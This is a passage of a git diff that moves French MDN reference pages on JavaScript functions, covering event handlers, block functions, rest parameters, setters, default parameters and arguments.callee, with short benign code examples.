Les fonctions en tant que gestionnaires d'événements

- -

En JavaScript, les gestionnaires d'événements DOM (event handlers en anglais) sont des fonctions (différentes des objets contenant une méthode handleEvent dans d'autres langages de liaison avec le DOM -binding languages en anglais). Les fontions ont l'objet event comme seul et unique paramètre. Comme tous les autres paramètres, si l'objet événement, n'a pas besoin d'être utilisé, il peut être absent de la liste des paramètres formels.

- -

Les objets d'un document HTML susceptibles de recevoir des événements peuvent être par exemple : window (objets Window, y compris les objets frames), document (les objets HTMLDocument), et les éléments (les objets Element). Au sein du DOM HTML, les objets recevant des événements possède des propriétés gestionnaires d'événements. Ces propriétés sont les noms des événements en minuscules préfixés par « on » (par exemple onfocus). Une autre façon, plus fiable, d'ajouter des auditeurs d'événements, est offert par les événements DOM de niveau 2.

- -

Note : Les événements font partie de la logique DOM et non de celle de JavaScript. (JavaScript n'est qu'un langage permettant de manipuler le DOM.)

- -

L'exemple suivant assigne une fonction au gestionnaire de l'événement « focus ».

- -
window.onfocus = function() {
-   document.body.style.backgroundColor = 'white';
-};
-
- -

Si une fonction est assignée à une variable, il est possible d'assigner la variable à un gestionnaire d'événement. Le fragment de code qui suit assigne une fonction à la variable setBGColor.

- -
var setBGColor = new Function("document.body.style.backgroundColor = 'white';");
-
- -

Il est alors possible d'utiliser cette variable pour assigner une fonction à un gestionnaire d'événement. Cela peut se faire de plusieurs manières, en voici deux décrites ici :

- -
    -
  1. écrire dans les propriétés de l'évément DOM HTML - 
    document.form1.colorButton.onclick = setBGColor;
-
    -
    2. -
  2. l'attribut de l'événement HTML - 
    <input type="button"
-   value="Changer la couleur de fond"
-   onclick="setBGColor();"/>
-
    - -

    Un gestionnaire d'événement défini de cette manière sera une fonction, nommée selon l'attribut, encadré du code spécifique nécessaire. C'est pourquoi les parenthèses sont ici nécessaires (setBGColor() et non pas setBGColor). Cela est équivalent à :

    - - 
    document.form1.colorButton.onclick = function onclick(event) {
-   setBGColor();
-};
-
    - -

    Il faut noter la façon dont l'objet événement est passé à la fonction en tant que paramètre event. Cela permet au code d'utiliser l'objet Event :

    - - 
    <input ...
-    onclick="console.log(event.target.tagName);"/>
-
    -
    3. -
- -

Tout comme les autres propriétés faisant référence à une fonction, le gestionnaire d'événement peut agir come une méthode et this ferait alors référence à l'élément contenant le gestionnaire d'événement. Dans l'exemple suivant, la fonction à laquelle onfocus fait référence est appelée avec this qui a la valeur window.

- -
window.onfocus();
-
- -

Une erreur faite souvent lorsque l'on commence à utiliser JavaScript est d'ajouter des parenthèses et/ou des paramètres à la fin de la variable. Cela revient à appeler le gestionnaire d'événement lorsqu'on l'assigne. Le fait d'ajouter ces parenthèses assignera la valeur de retour du gestionnaire d'événement. Cette valeur sera souvent undefined dans ces cas alors que l'on aurait souhaité obtenir le gestionnaire d'événement.

- -
document.form1.button1.onclick = setBGColor();
-
- -

Afin de passer des paramètres à un gestionnaire d'événements, le gestionnaire doit être enveloppé dans une autre fonction, comme dans l'exemple suivant :

- -
document.form1.button1.onclick = function() {
-   setBGColor('une valeur');
-};
-
- -

Les fonctions de bloc

- -

En mode strict, à partir d'ES2015 (ES6), la portée des fonctions définies dans un bloc est limitée à ce bloc. Avant ES2015, il était interdit d'utiliser les fonctions de bloc en mode strict..

- -
'use strict';
-
-function f() {
-  return 1;
-}
-
-{
-  function f() {
-    return 2;
-  }
-}
-
-f() === 1; // true
-
-// f() === 2 en mode non-strict
-
- -

Les fonctions de bloc dans du code non-strict

- -

Non.

- -

Dans du code non-strict, les déclarations de fonctions placées dans des blocs peuvent se comporter de façon étrange :

- -
if (onDevraitDéfinirZéro) {
-   function zéro() { // DANGER: risque de compatibilité
-      console.log("Voici zéro.");
-   }
-}
-
- -

ES2015 indique que si onDevraitDéfinirZéro vaut false, zéro ne devrait jamais être défini car le bloc n'est jamais exécuté. En revanche, c'est une nouveauté liée à cette version du standard, non spécifiée auparavant. Certains navigateurs définissent zéro que le bloc soit exécuté ou non.

- -

En mode strict, tous les navigateurs qui prennent en charge ES2015 gère cela de la même façon : zéro est uniquement défini si onDevraitDéfinirZéro vaut true et uniquement dans la portée du bloc induit par if.

- -

Une méthode plus sûre est d'utiliser des expressions de fonction :

- -
var zéro;
-if (0) {
-   zéro = function() {
-      console.log("Voici zéro.");
-   };
-}
-
- -

Exemples

- -

Renvoyer un nombre formaté

- -

La fonction qui suit renvoie une chaîne de caractères contenant la représentation formatée d'un nombre avec un certain nombre de zéros préfixant le nombre.

- -
// Cette fonction renvoie une chaîne de caractères complétée par un préfixe composé de zéros
-function padZeros(num, totalLen) {
-   var numStr = num.toString();             // On initialise la valeur à renvoyer en chaîne de caractères
-   var numZeros = totalLen - numStr.length; // On calcule le nombre de zéros
-   for (var i = 1; i <= numZeros; i++) {
-      numStr = "0" + numStr;
-   }
-   return numStr;
-}
-
- -

Les instructions qui suivent utilisent cette fonction

- -
var resultat;
-resultat = padZeros(42,4); // renvoie "0042"
-resultat = padZeros(42,2); // renvoie "42"
-resultat = padZeros(5,4);  // renvoie "0005"
-
- -

Déterminer si une fonction existe

- -

Il est possible de déterminer si oui ou non une fonction existe en utilisant l'opérateur typeof. Dans l'exemple qui suit, on teste pour savoir si l'objet window possède une propriété appelé noFunc qui serait une fonction. Si c'est le cas, elle sera utilisée, sinon on fera autre chose.

- -
 if ('function' === typeof window.noFunc) {
-   // utilisation de noFunc()
- } else {
-   // faire autre chose
- }
-
- -

Il est à noter que, dans le test if, on utilise une référence à noFunc - il n'y a pas de parenthèses après le nom de la fonction, la fonction n'est donc pas appelée.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ES6')}}Nouveautés : fonctions fléchées, générateurs, paramètres par défaut, paramètres du reste
{{SpecName('ES6', '#', 'function*')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ES6')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions")}}

- -

Voir aussi

- -
    -
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • -
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • -
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • -
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • -
  • {{jsxref("Function")}}
    • -
  • {{jsxref("GeneratorFunction")}}
    • -
  • {{jsxref("Fonctions/Fonctions_fléchées", "Les fonctions fléchées")}}
    • -
  • {{jsxref("Fonctions/Valeurs_par_défaut_des_arguments", "Les paramètres par défaut","",1)}}
    • -
  • {{jsxref("Fonctions/paramètres_du_reste", "Les paramètres du reste","",1)}}
    • -
  • L'objet {{jsxref("Fonctions/arguments", "arguments")}}
    • -
  • {{jsxref("Fonctions/get", "getter")}}
    • -
  • {{jsxref("Fonctions/set", "setter")}}
    • -
  • {{jsxref("Fonctions/Définition_de_méthode", "Les définitions de méthodes","",1)}}
    • -
  • Fonctions et portée des fonctions
    • -
diff --git "a/files/fr/web/javascript/reference/fonctions/param\303\250tres_du_reste/index.html" "b/files/fr/web/javascript/reference/fonctions/param\303\250tres_du_reste/index.html" deleted file mode 100644 index 6ac181fe51..0000000000 --- "a/files/fr/web/javascript/reference/fonctions/param\303\250tres_du_reste/index.html" +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Paramètres du reste (Rest parameters) -slug: Web/JavaScript/Reference/Fonctions/paramètres_du_reste -tags: - - ECMAScript 2015 - - Functions - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Functions/rest_parameters ---- -
{{jsSidebar("Functions")}}
- -

Cette syntaxe permet de représenter un nombre indéfini d'arguments sous forme d'un tableau.

- -
{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}
- - - -

Syntaxe

- -
function f(a, b, ...lesArguments) {
-  // ...
-}
-
- -

Description

- -

Si le dernier paramètre nommé fourni à la fonction est préfixé de ... (trois points), il devient un tableau dont les éléments entre 0 (inclus) et lesArguments.length (exclus) sont fournis comme autres arguments à la fonction.

- -
function maFonction(a, b, ...plusDArguments) {
-  console.log("a", a);
-  console.log("b", b);
-  console.log("plusDArguments", plusDArguments);
-}
-
-maFonction("un", "deux", "trois", "quatre", "cinq");
-// affichera ceci dans la console :
-// a, "un"
-// b, "deux"
-// plusDArguments, ["trois", "quatre", "cinq"]
- -

Les différences entre les paramètres du reste et l'objet arguments

- -

Il y a trois principales différences entre les paramètres du reste et l'objet {{jsxref("Fonctions/arguments","arguments")}} :

- -
    -
  • les paramètres du reste sont uniquement ceux qui ne possèdent pas de noms à part entière (autrement dit ceux qui ne sont pas formellement définis dans l'expression de fonction), l'objet arguments contient chaque argument passé à la fonction
    • -
  • l'objet arguments n'est pas, à strictement parler, un tableau. Le paramètre représentant les arguments restant est une instance d'{{jsxref("Array","Array")}} à laquelle on peut appliquer directement des méthodes comme {{jsxref("Array/sort","sort")}}, {{jsxref("Array/map","map")}}, {{jsxref("Array/forEach","forEach")}} ou {{jsxref("Array/pop","pop")}}
    • -
  • l'objet arguments possède des fonctionnalités spécifiques (comme, par exemple, la propriété callee)
    • -
- -

Convertir arguments en un tableau

- -

Ces paramètres ont été introduits afin de réduire le code passe-partout souvent induit par les arguments.

- -
// Avant les paramètres du reste, on observait souvent ce style de code :
-function f(a, b){
-  var args = Array.prototype.slice.call(arguments, f.length);
-  // ou encore
-  var args = [].slice.call(arguments);
-  // ou encore
-  var args = Array.from(arguments);
-
-  // et on pouvait alors écrire
-  var premier = args.shift(); // OK
-  // mais pas
-  var premier = arguments.shift(); // erreur car arguments n'est pas un tableau
-}
-
-// ce qui est l'équivalent de
-function f(...args) {
-  var tabNormal = args;
-  var premier = tabNormal.shift();
-}
-
- -

La décomposition sur les paramètres du reste

- -

On peut également décomposer les paramètres du reste en variables distinctes :

- -
function f(...[a, b, c]) {
-  return a + b + c;
-}
-
-f(1);          // NaN (b et c valent undefined)
-f(1, 2, 3);    // 6
-f(1, 2, 3, 4); // 6, le dernier paramètre n'est pas décomposé
-
- -

Vous pouvez également accéder aux éléments des paramètres du reste :

- -
function fun1(...lesArguments) {
-    console.log("valeur", lesArguments[0][0]);
-}
-
-fun1([5, 2], [5, 4]); // 5
-fun1([8, 2]); // 8
-fun1([9, 6, 7]); // 9
- -

Exemples

- -

S'il n'y a qu'un seul argument qui est décomposé par la syntaxe, la valeur sera toujours un tableau :

- -
function maFonction(a, b, ...autres);
-  console.log(a);
-  console.log(b);
-  console.log(autres);
-}
-
-maFonction("un", "deux", "trois");
-// affichera ceci dans la console
-// "un"
-// "deux"
-// ["trois"]
-
- -

De même, s'il n'y a pas suffisamment d'arguments, ce sera un tableau vide :

- -
function maFonction(a, b, ...autres);
-  console.log(a);
-  console.log(b);
-  console.log(autres);
-}
-
-maFonction("un", "deux");
-// affichera ceci dans la console
-// "un"
-// "deux"
-// []
- -

lesArguments est un tableau et dispose donc d'une propriété length permettant de compter ses éléments :

- -
function fun1(...lesArguments) {
-  console.log(lesArguments.length);
-}
-
-fun1();  // 0
-fun1(5); // 1
-fun1(5, 6, 7); // 3
-
- -

Dans l'exemple qui suit, on utilise le paramètre Rest pour collecter les arguments après le premier pour les multiplier par le premier :

- -
function multiplier(facteur, ...lesArguments) {
-  return lesArguments.map(function (element) {
-    return facteur * element;
-  });
-}
-
-var arr = multiplier(2, 1, 2, 3);
-console.log(arr); // [2, 4, 6]
-
- -

L'exemple qui suit illustre comment on peut utiliser des méthodes de Array sur le paramètre Rest mais pas sur l'objet arguments :

- -
function trierParamRest(...lesArguments) {
-  var argumentsTriés = lesArguments.sort();
-  return argumentsTriés;
-}
-
-console.log(trierParamRest(5,3,7,1)); // shows 1,3,5,7
-
-function trierArguments() {
-  var argumentsTriés = arguments.sort();
-  return argumentsTriés; // cela ne sera jamais appelé
-}
-
-// renvoie une exception TypeError: arguments.sort n'est pas une function
-console.log(trierArguments(5,3,7,1));
-
- -

Pour utiliser les méthodes propres aux instances d'Array sur l'objet arguments, il est nécessaire de le convertir.

- -
function trierAguments() {
-  var args = Array.from(arguments);
-  var argumentsTriés = args.sort();
-  return argumentsTriés;
-}
-console.log(trierArguments(5, 3, 7, 1)); // [1, 3, 5, 7]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.rest_parameters")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/fonctions/set/index.html b/files/fr/web/javascript/reference/fonctions/set/index.html deleted file mode 100644 index 4cabb36149..0000000000 --- a/files/fr/web/javascript/reference/fonctions/set/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: L'opérateur set -slug: Web/JavaScript/Reference/Fonctions/set -tags: - - ECMAScript 5 - - Functions - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Functions/set ---- -
{{jsSidebar("Functions")}}
- -

La syntaxe set permet de lier une propriété d'un objet à une fonction qui sera appelée à chaque tentative de modification de cette propriété.

- -
{{EmbedInteractiveExample("pages/js/functions-setter.html")}}
- - - -

Syntaxe

- -
{set prop(val) { . . .}}
-{set [expression](val) { . . .}}
- -

Paramètres

- -
-
prop
-
Le nom de la propriété à lier à la fonction.
-
- -
-
val
-
Un alias pour la variable qui contient la valeur qu'on souhaiterait affecter à prop.
-
expression
-
Avec ECMAScript 2015, il est également possible d'utiliser des expressions pour utiliser un nom de propriété calculé à lier à la fonction.
-
- -

Description

- -

En JavaScript, un mutateur (ou setter en anglais) peut être utiisé afin d'exécuter une fonction à chaque fois qu'on souhaite modifier la valeur d'une propriété donnée. La plupart du temps, les mutateurs sont utilisés avec les accesseurs (getters) afin de créer une pseudo-propriété. Il n'est pas possible d'avoir à la fois un mutateur et une valeur donnée pour une même propriété.

- -

On notera que set :

- -
- -
- -

On peut retirer un mutateur d'un objet grâce à l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}}.

- -

Exemples

- -

Définir un mutateur sur de nouveaux objets avec un littéral objet

- -

Dans l'exemple qui suit, on définit une pseudo-propriété courant pour un objet o qui, lorsqu'elle recevra une valeur, mettra à jour la propriété log avec la valeur reçue :

- -
var o = {
-  set courant (str) {
-    this.log[this.log.length] = str;
-  },
-  log: []
-}
-
- -

On notera que courant n'est pas défini. Toute tentative pour y accéder renverra undefined.

- -

Supprimer un mutateur grâce à l'opérateur delete

- -

Si on souhaite retirer un mutateur, on peut simplement utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} :

- -
delete o.courant;
-
- -

Définir un mutateur sur un objet existant avec defineProperty

- -

On peut également ajouter un mutateur sur un objet d'ores et déjà créé. Pour cela, on utilisera la méthode {{jsxref("Object.defineProperty()")}}.

- -
var o = { a:0 };
-
-Object.defineProperty(o, "b", { set: function (x) { this.a = x / 2; } });
-
-o.b = 10; // On utilise le setter, qui affecte 10 / 2 (5) à 'a'
-console.log(o.a) // 5
- -

Utiliser un nom de propriété calculé

- -
var expr = "toto";
-
-var obj = {
-  bidule: "truc",
-  set [expr](v) { this.bidule = v; }
-};
-
-console.log(obj.bidule); // "truc"
-obj.toto = "bidule";      // le mutateur est utilisé
-console.log(obj.bidule); // "bidule"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES6')}}Ajout des noms de propriétés calculés
{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.set")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Fonctions/get","get")}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_delete","delete")}}
    • -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Object.defineGetter", "__defineGetter__")}}
    • -
  • {{jsxref("Object.defineSetter", "__defineSetter__")}}
    • -
  • Définir des accesseurs et des mutateurs, dans le Guide JavaScript
    • -
diff --git "a/files/fr/web/javascript/reference/fonctions/valeurs_par_d\303\251faut_des_arguments/index.html" "b/files/fr/web/javascript/reference/fonctions/valeurs_par_d\303\251faut_des_arguments/index.html" deleted file mode 100644 index 99d9869f9c..0000000000 --- "a/files/fr/web/javascript/reference/fonctions/valeurs_par_d\303\251faut_des_arguments/index.html" +++ /dev/null @@ -1,212 +0,0 @@ ---- -title: Valeurs par défaut des arguments -slug: Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments -tags: - - ECMAScript 2015 - - Fonctions - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Functions/Default_parameters ---- -
{{jsSidebar("Functions")}}
- -

Cette syntaxe permet d'initialiser des paramètres lors de l'appel de la fonction si aucune valeur n'est passée ou si c'est la valeur {{jsxref("undefined")}} qui est passée.

- - - -
{{EmbedInteractiveExample("pages/js/functions-default.html")}}
- -

Syntaxe

- -
function [nom]([param1[ = valeurParDéfaut1 ][, ..., paramN[ = valeurParDéfautN ]]]) {
-   instructions
-}
-
- -

Description

- -

En JavaScript, par défaut, la valeur des paramètres d'une fonction sera undefined. Malgré tout, il peut être assez utile de pouvoir définir d'autres valeurs par défaut.

- -

Auparavant, pour définir une valeur par défaut pour un paramètre, il fallait tester s'il valait undefined et lui affecter une valeur choisie le cas échéant. Dans l'exemple qui suit, le paramètre b n'a pas de valeur fournie lors de l'appel, aussi si on avait utilisé undefined dans la multiplication, la valeur retournée aurait été NaN. Aussi, dans la deuxième ligne du code, on prévoit ce cas :

- -
function multiplier(a, b) {
-  var b = (typeof b !== 'undefined') ? b : 1;
-
-  return a * b;
-}
-
-multiplier(5, 2); // 10
-multiplier(5, 1); // 5
-multiplier(5);    // 5
-
- -

Grâce aux paramètres par défaut qui existent depuis ECMAScript 2015 (ES6), on peut se passer de cette vérification et alléger le code de la fonction :

- -
function multiplier(a, b = 1) {
-  return a * b;
-}
-
-multiplier(5, 2); // 10
-multiplier(5, 1); // 5
-multiplier(5, undefined); // 5
-multiplier(5); // 5
- -

Exemples

- -

Passer undefined en paramètre

- -

Dans l'exemple qui suit, le deuxième appel à la fonction fait explicitement appel à undefined. La valeur par défaut sera utilisée, y compris dans ce cas (en revanche, ce ne serait pas vrai pour null ou les autres valeurs équivalentes à false dans un contexte booléen).

- -
function test(num = 1) {
-  console.log(typeof num);
-}
-
-test();           // number (num vaut 1)
-test(undefined);  // number (num vaut 1 également)
-test("");         // string (num vaut "")
-test(null);       // object (num vaut null)
-
- -

Évaluation à l'appel

- -

L'argument par défaut est évalué à l'instant de l'appel. Ainsi, à la différence d'autres langages comme Python, un nouvel objet est créé à chaque appel de la fonction.

- -
function append(valeur, tableau = []) {
-  tableau.push(valeur);
-  return tableau;
-}
-
-append(1); //[1]
-append(2); //[2], et non [1, 2]
-
-
- -

Cela est également valable pour les fonctions et les variables

- -
function appelQqc(truc = qqc()) { return truc }
-
-appelQqc(); //lève une ReferenceError
-
-let qqc = () => "machin"
-
-appelQqc(); // "machin"
-
- -

Les paramètres par défaut sont disponibles à la suite

- -

Les paramètres déjà rencontrés dans la définition peuvent être utilisés comme paramètres par défaut dans la suite de la définition :

- -
function salutation(nom, salut, message = salut + ' ' + nom){
-    return [nom, salut, message];
-}
-
-salutation('David', 'Coucou');
-// ["David", "Coucou", "Coucou David"]
-
-salutation('David', 'Coucou', 'Bon anniversaire !');
-// ["David", "Coucou", "Bon anniversaire !"]
- -

On peut utiliser cette fonctionnalité afin de gérer beaucoup de cas aux limites :

- -
function go() {
-  return ":P"
-}
-
-function avecDéfaut(a, b = 5, c = b, d = go(), e = this,
-                      f = arguments, g = this.value) {
-  return [a,b,c,d,e,f,g];
-}
-function sansDéfaut(a, b, c, d, e, f, g){
-  switch(arguments.length){
-    case 0:
-      a
-    case 1:
-      b = 5
-    case 2:
-      c = b
-    case 3:
-      d = go();
-    case 4:
-      e = this
-    case 5:
-      f = arguments
-    case 6:
-      g = this.value;
-    default:
-  }
-  return [a,b,c,d,e,f,g];
-}
-
-avecDéfaut.call({value:"=^_^="});
-// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
-
-
-sansDéfaut.call({value:"=^_^="});
-// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
-
- -

Les fonctions définies dans le corps d'une fonction

- -

À partir de Gecko 33 {{geckoRelease(33)}}. Les fonctions déclarées dans le corps de la fonction ne peuvent pas servir comme valeurs par défaut, cela lèvera une exception {{jsxref("ReferenceError")}} (plus précisément une {{jsxref("TypeError")}} avec SpiderMonkey, voir le {{bug(1022967)}}). Les paramètres par défaut sont exécutés en premier, les déclarations de fonctions présentes dans le corps de la fonction sont évaluées ensuite.

- -
// Ne fonctionnera pas, entraîne une ReferenceError.
-function f(a = go()) {
-  function go(){return ":P"}
-}
-
- -

Utilisation de paramètres sans valeur par défaut après les paramètres par défaut

- -

Avant Gecko 26 ({{geckoRelease(26)}}, le code suivant aurait entraîné une exception {{jsxref("SyntaxError")}}. Cela a été corrigé avec le bug {{bug(777060)}}. Les paramètres sont toujours ordonnés de gauche à droite et les valeurs par défaut sont surchargées s'ils viennent avant les autres paramètres :

- -
function f(x=1, y) {
-  return [x, y];
-}
-
-f();  // [1, undefined]
-f(2); // [2, undefined]
-
- -

Paramètre par défaut et décomposition des paramètres

- -

Il est possible d'utiliser les valeurs par défaut avec la syntaxe de décomposition :

- -
function f([x, y] = [1, 2], {z: z} = {z: 3}) {
-  return x + y + z;
-}
-
-f(); // 6
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.default_parameters")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/functions/arguments/@@iterator/index.html b/files/fr/web/javascript/reference/functions/arguments/@@iterator/index.html new file mode 100644 index 0000000000..d9cd086019 --- /dev/null +++ b/files/fr/web/javascript/reference/functions/arguments/@@iterator/index.html @@ -0,0 +1,78 @@ +--- +title: 'arguments[@@iterator]()' +slug: Web/JavaScript/Reference/Fonctions/arguments/@@iterator +tags: + - Déprécié + - Fonctions + - JavaScript + - Propriété + - Reference + - arguments +translation_of: Web/JavaScript/Reference/Functions/arguments/@@iterator +--- +
{{jsSidebar("Functions")}}
+ +

La valeur initiale de la propriété @@iterator est le même objet que la fonction utilisée pour la valeur initiale de la propriété {{jsxref("Array.prototype.values")}}.

+ +

Syntaxe

+ +
arguments[Symbol.iterator]()
+ +

Exemples

+ +

Utiliser une boucle for...of

+ +
function f() {
+  // votre environnement doit supporter les
+  // boucles for..of et les variables
+  // définies avec let dans les boucles
+  for (let letter of arguments) {
+    console.log(letter);
+  }
+}
+f('w', 'y', 'k', 'o', 'p');
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-createunmappedargumentsobject', ' CreateUnmappedArgumentsObject')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ES6', '#sec-createmappedargumentsobject', ' CreateMappedArgumentsObject')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-createunmappedargumentsobject', 'CreateUnmappedArgumentsObject')}}{{Spec2('ESDraft')}} 
{{SpecName('ESDraft', '#sec-createmappedargumentsobject', 'CreateMappedArgumentsObject')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.arguments.@@iterator")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/functions/arguments/callee/index.html b/files/fr/web/javascript/reference/functions/arguments/callee/index.html new file mode 100644 index 0000000000..9a94838ad0 --- /dev/null +++ b/files/fr/web/javascript/reference/functions/arguments/callee/index.html @@ -0,0 +1,158 @@ +--- +title: callee +slug: Web/JavaScript/Reference/Fonctions/arguments/callee +tags: + - Déprécié + - Fonctions + - JavaScript + - Propriété + - Reference + - arguments +translation_of: Web/JavaScript/Reference/Functions/arguments/callee +--- +
{{jsSidebar("Functions")}}{{deprecated_header}}
+ +

La propriété arguments.callee contient la fonction en cours d'exécution.

+ +

Description

+ +

callee est une propriété de l'objet arguments. Elle peut être utilisée afin de faire référence à la fonction en cours d'exécution à l'intérieur de cette fonction. Cette propriété peut etre utile lorsqu'on ne connait pas le nom de la fonction (fonction anonyme par exemple).

+ +
Attention : En mode strict, ECMAScript 5 interdit la fonction arguments.callee(). Éviter de l'utiliser en utilisant un nom de fonction dans les expressions ou en utilisant une déclaration de fonction où la fonction s'appelle elle-même.
+ +

Pourquoi arguments.callee a-t-il été retiré du mode strict ES5 ?

+ +

(adapté d'une réponse Stack Overflow par olliej)

+ +

Aux débuts de JavaScript, il n'était pas possible d'utiliser des expressions de fonction avec des noms. Il était donc impossible de faire une expression de fonction récursive.

+ +

Cette syntaxe produisait le résultat escompté :

+ +
function factorielle (n) {
+    return !(n > 1) ? 1 : factorielle(n - 1) * n;
+}
+
+[1,2,3,4,5].map(factorielle);
+ +

mais :

+ +
[1,2,3,4,5].map(function (n) {
+    return !(n > 1) ? 1 : /* que met-on ici ? */ (n - 1) * n;
+});
+ +

ne fonctionnait pas. Pour que cela puisse fonctionner, on ajouta arguments.callee :

+ +
[1,2,3,4,5].map(function (n) {
+    return !(n > 1) ? 1 : arguments.callee(n - 1) * n;
+});
+ +

Cependant, ce fut une mauvaise solution (avec caller également) car elle rendit impossible l'extension inline et la récursion terminale de façon générale (il est possible d'y arriver de certaines façons mais cela entraînerait nécessairement un code moins efficace). Le second problème que cela entraîne est que l'appel récursif aura une autre valeur this :

+ +
var global = this;
+
+var fonctionTruc = function (recursed) {
+    if (!recursed) { return arguments.callee(true); }
+    if (this !== global) {
+        console.log("this est : " + this);
+    } else {
+        console.log("this est la variable globale");
+    }
+}
+
+fonctionTruc();
+ +

ECMAScript 3 a introduit les expressions de fonctions nommées pour résoudre le problème. On peut désormais utiliser :

+ +
[1,2,3,4,5].map(function factorielle (n) {
+    return !(n > 1) ? 1 : factorielle(n - 1)*n;
+});
+ +

Cette méthode possède plusieurs avantages :

+ +
    +
  • La fonction peut être appelée comme n'importe quelle autre fonction nommée dans le code
    • +
  • Cela ne crée pas une variable dans la portée extérieure (sauf pour IE 8 et les versions antérieures)
    • +
  • Cela entraîne de meilleures performances que d'accéder aux propriétés de l'objet arguments
    • +
+ +

Une autre fonctionnalité qui a été déprécié est : arguments.callee.caller, ou plus précisément Function.caller. Pourquoi cela ? Parce que ça permet d'avoir accès à tout moment à la fonction appelante la plus loin dans la pile d'appels. Or, comme évoqué ci-avant, cela a un effet de bord considérable : ça rend beaucoup plus complexes voire impossibles certaines optimisations. Ainsi, on ne peut pas garantir qu'une fonction f n'appellera pas une autre fonction inconnue, ce qui signifie qu'on ne peut pas utiliser l'extension inline. En résumé, cela signifie que n'importe quel site d'appel de fonction (call site) qui aurait pu être développé inline très simplement devra subir de nombreux tests :

+ +
function f (a, b, c, d, e) { return a ? b * c : d * e; }
+ +

Si l'interpréteur JavaScript ne peut pas garantir que l'ensemble des arguments fournis ici sont des nombres à l'instant de l'appel de la fonction, il devra insérer des vérifications pour chaque argument avant le code inline, sinon il ne pourra pas développer la fonction inline. On notera que, dans ce cas, un interpréteur intelligent devrait pouvoir réarranger les vérifications à faire afin qu'elles soient optimales et de se débarrasser des valeurs inutiles. Malgré tout, une telle optimisation ne sera pas possible dans d'autres cas, ce qui signifie que le développement inline n'est pas possible.

+ +

Exemples

+ +

Utiliser arguments.callee pour une fonction anonyme récursive

+ +

Une fonction récursive, par définition, s'appelle elle-même. Elle fait donc généralement référence à elle-même grâce à son nom. Cependant, une fonction anonyme (créée grâce ) une expression de fonction ou au constructeur {{jsxref("Function")}}) n'a pas de nom et la seule façon d'y faire référence est donc d'utiliser arguments.callee.

+ +

L'exemple qui suit illustre une fonction qui définit et renvoie une fonction factorielle. Cet exemple n'a qu'un but démonstratif et ne correspond certainement pas à ce qui serait utilisé en pratique (les expressions de fonctions pouvant être nommées).

+ +
function créer() {
+   return function(n) {
+      if (n <= 1)
+         return 1;
+      return n * arguments.callee(n - 1);
+   };
+}
+
+var résultat = create()(5); // renvoie 120 (5 * 4 * 3 * 2 * 1)
+ +

Une utilisation d'arguments.callee qui ne possède pas de solution de remplacement

+ +

Malgré tout, dans un cas comme le suivant, il n'existe pas d'équivalent pour arguments.callee, c'est pourquoi sa déprécation pourrait être un bug (voir {{Bug("725398")}}):

+ +
function créerPersonne (sIdentité) {
+    var oPersonne = new Function("alert(arguments.callee.identité);");
+    oPersonne.identité = sIdentité;
+    return oPersonne;
+}
+
+var jean = créerPersonne("Jean Biche");
+
+jean();
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
